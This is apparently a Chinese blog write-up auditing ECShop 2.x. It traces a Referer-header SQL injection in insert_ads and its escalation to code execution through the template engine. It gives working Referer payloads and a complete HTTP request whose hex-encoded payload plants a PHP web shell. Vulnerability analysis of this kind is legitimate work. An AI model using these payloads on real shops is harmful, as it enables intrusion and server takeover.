杨花落尽子规啼之Ecshop2.x代码审计

0x00 SQL注入漏洞

参考博客:链接
漏洞分析:通过REFERER获取的数据未经过过滤,在渲染模板时恶意代码可以插入模板代码。
杨花落尽子规啼之Ecshop2.x代码审计_第1张图片
杨花落尽子规啼之Ecshop2.x代码审计_第2张图片此处:$back_act来源REFERER。之后通过assign函数存入类属性var
之后通过display函数渲染模板:user——passport.dwt
杨花落尽子规啼之Ecshop2.x代码审计_第3张图片
传入的referer数据存放的地点。
在这里插入图片描述
查看display函数:
杨花落尽子规啼之Ecshop2.x代码审计_第4张图片

通过fetch函数解析模板内的变量,最后输出为$out,通过添加代码将$out数据输出查看一下具体内容:
杨花落尽子规啼之Ecshop2.x代码审计_第5张图片
这里我们可以仔细研究一下:
正常情况获取的referer数据被填充如下情况:
杨花落尽子规啼之Ecshop2.x代码审计_第6张图片
最后被渲染输出:
杨花落尽子规啼之Ecshop2.x代码审计_第7张图片
我们测试输入任意数据,之后渲染输出情况:
杨花落尽子规啼之Ecshop2.x代码审计_第8张图片
之后通过debug跟进fetch函数,可以看到会生成user_passport.dwt.php文件,其中back_act的内容取自之前assign函数赋值的内容,未进行任何过滤。
杨花落尽子规啼之Ecshop2.x代码审计_第9张图片
研究完fetch函数,之后进一步跟进代码,发现程序会通过固定的一个字符串,来对输出的$out进行分隔,其中_echash=”554fcae493e564ee0dc75bdf2ebf94ca”
杨花落尽子规啼之Ecshop2.x代码审计_第10张图片
在这里插入图片描述
之后遍历循环输出的数组,当$key为奇数时,表示此时有一个特殊处理的数据,这个数据要放到insert_mod函数处理:
杨花落尽子规啼之Ecshop2.x代码审计_第11张图片
通过前面传入的变量进行拼接,最后调用函数:debug跟踪一下参数
杨花落尽子规啼之Ecshop2.x代码审计_第12张图片
杨花落尽子规啼之Ecshop2.x代码审计_第13张图片
拼接创建函数,通过|分隔的数据当作参数。
杨花落尽子规啼之Ecshop2.x代码审计_第14张图片
检查insert_ads函数,发现拼接数据存在问题,为进行任何过滤放入SQL语句查询,可造成limit注入:
杨花落尽子规啼之Ecshop2.x代码审计_第15张图片
关于limit注入,mysql天书中有详细的介绍:可以使用数据整理的方式进行注入
https://blog.csdn.net/CSDNPM250/article/details/103069469

杨花落尽子规啼之Ecshop2.x代码审计_第16张图片
杨花落尽子规啼之Ecshop2.x代码审计_第17张图片
已经完全了解漏洞形成原理,现在就是要在referer构造可注入数据:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:“num”;s:72:“0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -”;s:2:“id”;i:1;}
红色部分用于做分隔数据,蓝色部分ads用于拼接构成函数进行调用,|之后的数据用作参数,需要进行反序列化,所以输入序列化数据。
最后输出报错结果:

杨花落尽子规啼之Ecshop2.x代码审计_第18张图片
漏洞利用成功。

0x01 代码执行:

关于代码执行漏洞:
漏洞利用原理:
利用fetch函数中的调用_eval函数,执行恶意代码。漏洞利用的难点,如何触发fetch调用_eval函数—利用上述的SQL注入漏洞。

杨花落尽子规啼之Ecshop2.x代码审计_第19张图片
这个函数中id和num两个数据都可以由我们控制,那么我们就可以通过控制这两个参数逃逸order by和limit限制,将两个变量中间的数据编程SQL的注释。Payload如下:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:“num”;s:47:"/ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -";s:2:“id”;s:3:"’/";}

在这里插入图片描述
杨花落尽子规啼之Ecshop2.x代码审计_第20张图片
整个SQL语句执行结果如下:
杨花落尽子规啼之Ecshop2.x代码审计_第21张图片
此时如果position_style存在数据就会触发fetch函数,并且能够触发_eval函数。
杨花落尽子规啼之Ecshop2.x代码审计_第22张图片
杨花落尽子规啼之Ecshop2.x代码审计_第23张图片
在此处我们跟进fetch_str函数,里面存在一个正则表达式和回调函数处理:
杨花落尽子规啼之Ecshop2.x代码审计_第24张图片
其中preg_replace加上/e表示使用回调函数,不过高版本的php已经废弃了。这里在使用正则表达式替换之后就是下面整个亚子(为了方便理解,将代码copy出来搞一下)
杨花落尽子规啼之Ecshop2.x代码审计_第25张图片
正则表达式会匹配到{}中间的内容,然后将其他部分替换,最后是调用这个类当中的select函数。
杨花落尽子规啼之Ecshop2.x代码审计_第26张图片
在select函数中调用get_val函数:,最后在get_val中调用make_var函数:
杨花落尽子规啼之Ecshop2.x代码审计_第27张图片
最后在make_val函数中可以看到参数被拼接在此处可以进行变量逃逸:

杨花落尽子规啼之Ecshop2.x代码审计_第28张图片
输出这个$p,如下:
杨花落尽子规啼之Ecshop2.x代码审计_第29张图片
之后所有结果返回到select函数中,再输出查看:
杨花落尽子规啼之Ecshop2.x代码审计_第30张图片
杨花落尽子规啼之Ecshop2.x代码审计_第31张图片
最后再输出一次跟踪情况:

杨花落尽子规啼之Ecshop2.x代码审计_第32张图片
杨花落尽子规啼之Ecshop2.x代码审计_第33张图片
最后调用eval函数执行恶意代码:
杨花落尽子规啼之Ecshop2.x代码审计_第34张图片
补上完整的payload。

POST /user.php HTTP/1.1
Host: www.ecshop.com
Content-Length: 65
Cache-Control: max-age=0
Origin: http://www.ecshop.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24607064275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
Accept-Language: zh-CN,zh;q=0.9
Cookie: ECS_ID=578286b2599356a5d084ea6a59b6a777b87ed5f8; ECSCP_ID=4ea8cdefae4c9eccd9727d8279adfb638d7703ab; ECS[visit_times]=7; XDEBUG_SESSION=19813
Connection: close

username=admin&password=admin&act=login&back_act=user.php&submit=

你可能感兴趣的:(代码审计)